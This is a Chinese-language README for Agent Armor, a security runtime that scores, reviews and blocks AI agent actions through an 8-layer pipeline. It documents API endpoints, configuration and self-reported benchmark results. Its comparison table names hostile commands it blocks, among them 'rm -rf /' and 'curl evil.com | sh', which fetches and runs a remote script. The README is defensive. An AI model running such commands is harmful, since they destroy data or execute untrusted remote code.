EdoardoBambini/Agent-Armor-Iaga

GitHub: EdoardoBambini/Agent-Armor-Iaga

面向自主 AI Agent 的零信任安全运行时,通过 8 层安全管道对每个 Agent 动作进行风险评分、策略控制与审计追踪。

Stars: 40 | Forks: 0

Agent Armor

面向自主 AI Agent 的零信任安全运行时

快速开始8 层安全API仪表盘配置架构

CI License Rust IAGA

Agent Armor — Zero-Trust AI Agent Governance

## 问题所在 AI Agent 正在获得工具访问权限 —— shell、文件系统、数据库、API、密钥。但是 **没有人对它们的实际行为进行治理**。 像 LangChain、CrewAI、AutoGen 和 Claude Code 这样的框架赋予了 Agent 执行能力。Agent Armor 则赋予你在每一个动作发生之前 **控制、审计和批准** 的权力。 ## 为什么选择 Agent Armor | 没有 Agent Armor | 有 Agent Armor | |---|---| | Agent 运行 `rm -rf /` | Agent 尝试 `rm -rf /` → 在风险评分 82 处被 **阻止** | | Agent 运行 `curl evil.com \| sh` | 8 层复合评分 **88/100** → 最高威胁等级 | | Agent 将密钥泄露到 Pastebin | 注入防火墙捕获提示词攻击 → **安全** | | "那个动作有多危险?" → 没有答案 | 持续风险评分 1-88 及各层细分 → **量化** | | "Agent 上周二做了什么?" → 没有答案 | 完整审计追踪,每个动作,每个决策 → **合规** | | Agent 使用不该用的工具 | 策略引擎阻止未批准的工具 → **受控** | | 不知道 Agent 到底是谁 | 带有加密身份的 NHI 注册表 → **已识别** | | Agent 响应泄露 PII 或密钥 | 响应扫描器在交付前检测敏感数据 → **已过滤** | | Agent 无限制调用 API | 速率限制器强制执行每 Agent 配额 → **受限流** | | 无法区分不同的 Agent | 行为指纹刻画每个 Agent 特征 → **已画像** | | 对新兴威胁零可见性 | 威胁情报源实时匹配已知 IOC → **已知情** | ## 8 层安全堆栈 每个 Agent 动作都通过一个 **确定性 8 层安全管道**: ``` Agent Request │ ▼ ┌──────────────────────────────────────────────────────┐ │ Layer 1 │ Protocol DPI — MCP/ACP/HTTP deep │ │ │ packet inspection │ │──────────┼────────────────────────────────────────────│ │ Layer 2 │ Taint Tracking — Track data flow, │ │ │ detect exfiltration │ │──────────┼────────────────────────────────────────────│ │ Layer 3 │ NHI Registry — Non-human identity │ │ │ + HMAC attestation │ │──────────┼────────────────────────────────────────────│ │ Layer 4 │ Risk Scoring — Adaptive 5-weight │ │ │ risk model │ │──────────┼────────────────────────────────────────────│ │ Layer 5 │ Impact Analysis — Pre-execution risk │ │ │ assessment + capture │ │──────────┼────────────────────────────────────────────│ │ Layer 6 │ Policy Engine — Workspace rule │ │ │ evaluation + checks │ │──────────┼────────────────────────────────────────────│ │ Layer 7 │ Injection Firewall — 3-stage prompt │ │ │ injection defense │ │──────────┼────────────────────────────────────────────│ │ Layer 8 │ Observability — OpenTelemetry spans │ │ │ + real-time SSE │ └──────────────────────────────────────────────────────┘ │ ▼ ALLOW │ REVIEW │ BLOCK ``` ### 层级详情 | # | 层级 | 功能 | 关键端点 | |---|-------|-------------|--------------| | 1 | **Protocol DPI** | 针对 MCP, ACP, HTTP 函数调用的深度包检测。根据注册的工具定义进行 Schema 验证。 | `POST /v1/inspect` | | 2 | **Taint Tracking** | 通过 Agent 执行追踪数据来源。检测凭证泄露和外泄企图。 | 内联 (pipeline) | | 3 | **NHI Registry** | 带 HMAC-SHA256 证明的非人类身份管理。每个 Agent 都是一等公民身份。 | `GET /v1/nhi/identities` | | 4 | **Risk Scoring** | 自适应 5 权重评分模型(统计、上下文、行为、时间、声誉)。 | `GET /v1/risk/weights` | | 5 | **Impact Analysis** | 执行前风险评估,包含命令分析和影响预测。 | `GET /v1/sandbox/pending` | | 6 | **Policy Engine** | 工作区策略评估 —— 检查工具权限、协议限制、域名白名单。 | `GET /v1/policy/verify/{workspace_id}` | | 7 | **Injection Firewall** | 3 阶段提示词注入防御:模式匹配、熵分析、结构验证。 | `GET /v1/firewall/stats` | | 8 | **Observability** | OpenTelemetry 兼容的 spans,实时 SSE 事件流,webhook 集成。 | `GET /v1/telemetry/spans` | ## 高级功能 (Tier 2) 除了核心的 8 层管道外,Agent Armor 还包含用于生产部署的高级功能: - **Response Scanning** —— 在 Agent 输出到达用户或下游系统之前,扫描其中的敏感数据(PII、凭证、API 密钥、内部路径)。可配置的模式匹配,内置常见密钥格式的规则。 - **Rate Limiting** —— 每 Agent 请求限流,支持可配置配额、突发 allowance 和滑动窗口追踪。防止失控的 Agent 压垮后端服务或耗尽 API 预算。 - **Agent Fingerprinting** —— 基于工具使用模式、请求时间和动作序列,为每个 Agent 建立行为画像。检测偏离 Agent 既定基线的异常行为。 - **Threat Intelligence** —— 维护危害指标 (IOC) 源,将 Agent 动作与已知的恶意模式、IP、域名和哈希进行核对。支持添加自定义指标和查询匹配统计。 ## 快速开始 **选项 1: Docker (推荐)** ``` docker compose up -d ``` **选项 2: 从源码构建** ``` git clone https://github.com/EdoardoBambini/Agent-Armor-Iaga.git cd Agent-Armor-Iaga/community cargo build --release ./target/release/agent-armor gen-key --label "my-first-key" ./target/release/agent-armor serve ``` **选项 3: 配合 Claude Desktop 的 MCP Proxy** 添加到你的 `claude_desktop_config.json`: ``` { "mcpServers": { "agent-armor-proxy": { "command": "/path/to/agent-armor", "args": ["proxy", "--agent-id", "claude-desktop-01", "--command", "npx", "-y", "@modelcontextprotocol/server-filesystem", "/tmp"] } } } ``` 来自 Claude Desktop 的每个工具调用现在都将通过 Agent Armor 的 8 层安全管道,然后才能到达文件系统服务器。 打开 `http://localhost:4010` 访问赛博朋克风格的安全仪表盘。 ### Docker Compose ``` # 克隆并启动 git clone https://github.com/EdoardoBambini/Agent-Armor-Iaga.git cd Agent-Armor-Iaga docker compose up -d # 生成你的第一个 API key docker compose exec agent-armor ./agent-armor gen-key --label "my-key" ``` ## 仪表盘 仪表盘内置 —— 无需单独的前端构建,没有 React,没有 webpack。它通过 `include_str!()` 直接嵌入在二进制文件中。 ### 你将看到: - **8 层状态** —— 所有安全层的实时状态 - **会话图** —— 带 FSA 状态追踪的活动 Agent 会话 - **风险权重** —— 实时自适应评分权重可视化 - **影响监控** —— 等待批准的待执行任务 - **防火墙统计** —— 3 阶段注入防御指标 - **策略验证** —— 工作区策略一致性检查 - **遥测 Spans** —— OpenTelemetry 追踪可视化 - **审计追踪** —— 每个治理决策及风险评分 - **SSE 实时推送** —— 实时事件流 ## API 参考 ### 认证 所有 `/v1/*` 端点都需要 Bearer token: ``` # 首次运行 — 创建一个 API key curl -X POST http://localhost:4010/v1/auth/keys \ -H "Content-Type: application/json" \ -d '{"label": "my-key"}' # 使用它 curl http://localhost:4010/v1/audit \ -H "Authorization: Bearer " ``` 当没有 API 密钥存在时,所有端点开放(引导模式)。 ### 核心端点 | 方法 | 路径 | 描述 | |--------|------|-------------| | `GET` | `/` | 仪表盘 (公开) | | `GET` | `/health` | 健康检查 (公开) | | `POST` | `/v1/inspect` | 核心治理管道 | | `GET` | `/v1/audit` | 完整审计追踪 | | `GET` | `/v1/reviews` | 人工审核队列 | | `POST` | `/v1/reviews/:id` | 批准/拒绝审核项 | ### 身份与认证 | 方法 | 路径 | 描述 | |--------|------|-------------| | `POST` | `/v1/auth/keys` | 创建 API 密钥 | | `GET` | `/v1/auth/keys` | 列出 API 密钥 | | `DELETE` | `/v1/auth/keys/:id` | 吊销 API 密钥 | | `GET` | `/v1/nhi/identities` | 列出 Agent 身份 | ### 配置文件与工作区 | 方法 | 路径 | 描述 | |--------|------|-------------| | `GET/POST` | `/v1/profiles` | 列出/创建 Agent 配置文件 | | `GET/PUT/DELETE` | `/v1/profiles/:id` | Agent 配置文件 CRUD | | `GET/POST` | `/v1/workspaces` | 列出/创建工作区 | | `GET/PUT/DELETE` | `/v1/workspaces/:id` | 工作区 CRUD | ### 安全层 | 方法 | 路径 | 描述 | |--------|------|-------------| | `GET` | `/v1/risk/weights` | 获取风险评分权重 | | `POST` | `/v1/risk/feedback` | 提交风险评分反馈 | | `GET` | `/v1/sessions` | 列出活动会话 | | `GET` | `/v1/sandbox/pending` | 待处理的沙箱执行 | | `POST` | `/v1/sandbox/:id/approve` | 批准沙箱执行 | | `GET` | `/v1/policy/verify/:ws_id` | 验证工作区策略 | | `POST` | `/v1/firewall/scan` | 扫描提示词注入 | | `GET` | `/v1/firewall/stats` | 防火墙统计 | | `GET` | `/v1/telemetry/spans` | OpenTelemetry spans | | `GET` | `/v1/telemetry/metrics` | 遥测指标 | | `GET` | `/v1/telemetry/export` | 导出 OTLP 兼容遥测数据 | ### Response Scanning | 方法 | 路径 | 描述 | |--------|------|-------------| | `POST` | `/v1/response/scan` | 扫描 Agent 响应中的敏感数据 (PII, 密钥, 凭证) | | `GET` | `/v1/response/patterns` | 列出扫描器使用的活动敏感数据模式 | ### Rate Limiting | 方法 | 路径 | 描述 | |--------|------|-------------| | `GET` | `/v1/rate-limit/status/:agent_id` | 获取 Agent 当前的速率限制状态 | | `GET` | `/v1/rate-limit/config` | 获取全局速率限制配置 | | `POST` | `/v1/rate-limit/config` | 更新速率限制配置 | ### Agent Fingerprinting | 方法 | 路径 | 描述 | |--------|------|-------------| | `GET` | `/v1/fingerprint` | 列出所有 Agent 行为指纹 | | `GET` | `/v1/fingerprint/:agent_id` | 获取特定 Agent 的行为指纹 | ### Threat Intelligence | 方法 | 路径 | 描述 | |--------|------|-------------| | `GET` | `/v1/threat-intel/indicators` | 列出所有威胁指标 | | `POST` | `/v1/threat-intel/indicators` | 添加新的威胁指标 (IOC) | | `DELETE` | `/v1/threat-intel/indicators/:id` | 移除威胁指标 | | `GET` | `/v1/threat-intel/stats` | 获取威胁情报统计 | | `POST` | `/v1/threat-intel/check` | 根据已知威胁指标检查某值 | ### 事件 | 方法 | 路径 | 描述 | |--------|------|-------------| | `GET` | `/v1/events/stream` | SSE 实时事件流 | | `POST` | `/v1/webhooks` | 注册 webhook | | `GET` | `/v1/webhooks` | 列出 webhooks | | `DELETE` | `/v1/webhooks/:id` | 移除 webhook | ### 演示 | 方法 | 路径 | 描述 | |--------|------|-------------| | `GET` | `/v1/demo/scenarios` | 列出演示场景 | | `POST` | `/v1/demo/run-adapter` | 运行所有演示场景 | ## 配置 ### 配置文件 在你的项目根目录创建 `agent-armor.config.json`: ``` { "profiles": [ { "agentId": "my-agent", "workspaceId": "ws-prod", "framework": "langchain", "role": "builder", "approvedTools": ["filesystem.read", "http.fetch"], "approvedSecrets": ["secretref://prod/api/key"], "baselineActionTypes": ["file_read", "http"] } ], "workspaces": [ { "workspaceId": "ws-prod", "allowedProtocols": ["mcp"], "allowedDomains": ["api.github.com"], "tools": [ { "toolName": "filesystem.read", "allowedActionTypes": ["file_read"], "maxDecision": "allow" } ] } ], "vault": [ "secretref://prod/api/key" ] } ``` ### YAML 配置 Agent Armor 也支持 YAML 配置 —— 参见 `community/agent-armor.example.yaml`。 ## 架构 ``` community/src/ ├── main.rs # Entry point ├── lib.rs # Library root ├── auth/ │ ├── api_keys.rs # Argon2-hashed API key management │ └── middleware.rs # Auth middleware (Bearer token) ├── config/ │ ├── env.rs # Environment config │ └── load_config.rs # JSON/YAML config loader ├── core/ │ ├── types.rs # Domain types │ └── errors.rs # Error types (thiserror) ├── dashboard/ │ └── index_html.rs # Embedded HTML dashboard ├── events/ │ ├── bus.rs # Event bus (broadcast) │ ├── sse.rs # Server-Sent Events │ └── webhooks.rs # HMAC-signed webhook delivery ├── modules/ │ ├── protocol/ # Layer 1: Protocol DPI │ ├── taint/ # Layer 2: Taint Tracking │ ├── nhi/ # Layer 3: NHI Registry │ ├── risk/ # Layer 4: Risk Scoring │ ├── sandbox/ # Layer 5: Sandbox Execution │ ├── policy/ # Layer 6: Policy Engine │ ├── injection_firewall/ # Layer 7: Injection Firewall │ ├── telemetry/ # Layer 8: Observability │ ├── audit/ # Audit trail store │ ├── review/ # Human review queue │ ├── secrets/ # Secret reference resolution │ ├── session_graph/ # Session DAG tracking │ ├── rate_limit/ # Per-agent rate limiting │ ├── fingerprint/ # Behavioral agent fingerprinting │ └── threat_intel/ # Threat intelligence feed ├── pipeline/ │ └── execute_pipeline.rs # Orchestrates all 8 layers ├── server/ │ ├── create_server.rs # Axum router (48 endpoints) │ └── app_state.rs # Shared application state ├── storage/ │ ├── sqlite.rs # SQLite persistence │ └── traits.rs # Storage trait abstractions ├── mcp_proxy/ # MCP protocol proxy ├── cli/ # CLI inspect tool └── demo/ # Demo scenarios ``` ### 技术栈 | 组件 | 技术 | |-----------|-----------| | Runtime | Rust + Tokio | | HTTP | Axum 0.8 | | Database | SQLite (sqlx) | | Auth | Argon2 + Bearer tokens | | Crypto | HMAC-SHA256 (NHI identity) | | Webhooks | HMAC-SHA256 签名 | | Telemetry | OpenTelemetry 兼容 | | Events | Server-Sent Events (SSE) | | Dashboard | 内嵌 HTML (零依赖) | ## 开源核心模式 | 功能 | 社区版 (开源) | 企业版 | |---------|----------------------|------------| | Protocol DPI | 是 | 是 | | Taint Tracking | 是 | 是 | | NHI Registry | 是 | 是 | | Risk Scoring | 是 | 是 | | Impact Analysis | 是 | 是 | | Policy Engine | 是 | 是 | | Injection Firewall | 基础 | 高级 ML 驱动 | | Observability | 是 | 是 | | Response Scanning | 是 | 是 | | Rate Limiting | 是 | 是 | | Agent Fingerprinting | 是 | 是 | | Threat Intelligence | 基础 | 高源集成 | | Multi-tenant | — | 是 | | SSO/SAML | — | 是 | | SIEM Integration | — | 是 | | Priority Support | — | 是 | ## 治理决策 | 决策 | 风险评分 | 含义 | |---|---|---| | `allow` | 0--34 | 动作安全,立即执行 | | `review` | 35--69 | 执行前需要人工批准 | | `block` | 70--100 | 动作被拒绝,风险过高 | 风险评分是跨所有 8 个安全层的 **加权复合** 结果 —— 而非二元标志。一个 `curl | sh`(评分 88)在量级上比 `chmod 777`(评分 82)更危险,而后者又比提示词注入尝试(评分 76)更危险。 ## 案例研究:800 次请求达到 99.8% 准确率 我们用 16 个真实世界的攻击和良性场景(各 50 次)对 Agent Armor 进行了基准测试:

Risk Score Distribution

Risk Scores by Scenario

Decision Distribution

Layer Detection Heatmap

| 指标 | 值 | |--------|-------| | 总请求数 | 800 | | 决策准确率 | **99.8%** | | 风险评分范围 | 1 -- 88 (连续) | | 管道延迟 | **~2.4ms** (8 层) | | 误报 | 0 | | 测试的攻击类别 | 9 | 阅读完整分析:**[案例研究 v2](docs/CASE_STUDY.md)** ## CLI 用法 ``` # 从 JSON 文件检查 cargo run -- inspect payload.json # 从 stdin 检查 echo '{"agentId":"agent-01","framework":"langchain","action":{"type":"shell","toolName":"terminal.exec","payload":{"command":"ls -la"}}}' | cargo run -- inspect --stdin ``` 退出码:`0` = allow,`1` = review,`2` = block,`3` = error。 ## 测试 ``` cargo test # Run all tests cargo test -- --nocapture # With output cargo clippy # Lint ``` ## 贡献 参见 [CONTRIBUTING.md](CONTRIBUTING.md) 了解指南。 ## 构建者 **[IAGA](https://www.iaga.tech)** — 构建智能体时代的治理层。 ## 许可证 [Business Source License 1.1](LICENSE) — 非生产用途免费,4 年后转换为 Apache 2.0。 ## 免责声明 Agent Armor 按 **“原样”** 提供,不附带任何种类的明示或暗示保证。作者和贡献者不对软件的功能、可靠性、可用性或对任何特定目的的适用性做任何保证。Agent Armor **不能替代全面的安全计划** —— 它是一个补充的治理层。使用本软件的风险完全由你自己承担。在任何情况下,作者均不对因使用或无法使用本软件而产生的任何索赔、损害或其他责任负责。

Agent Armor 正处于活跃开发中。Star 本仓库以持续关注。

标签:AI安全, API安全, AutoGen, Chat Copilot, CrewAI, DNS 反向解析, JSON输出, LangChain, LLM防火墙, Rust, Shell访问控制, 人机交互, 可视化界面, 大语言模型安全, 安全合规, 审计日志, 提示词注入防护, 敏感数据保护, 智能体治理, 机密管理, 权限控制, 用户代理, 网络代理, 网络安全, 网络流量审计, 请求拦截, 轻量级, 通知系统, 隐私保护, 零信任安全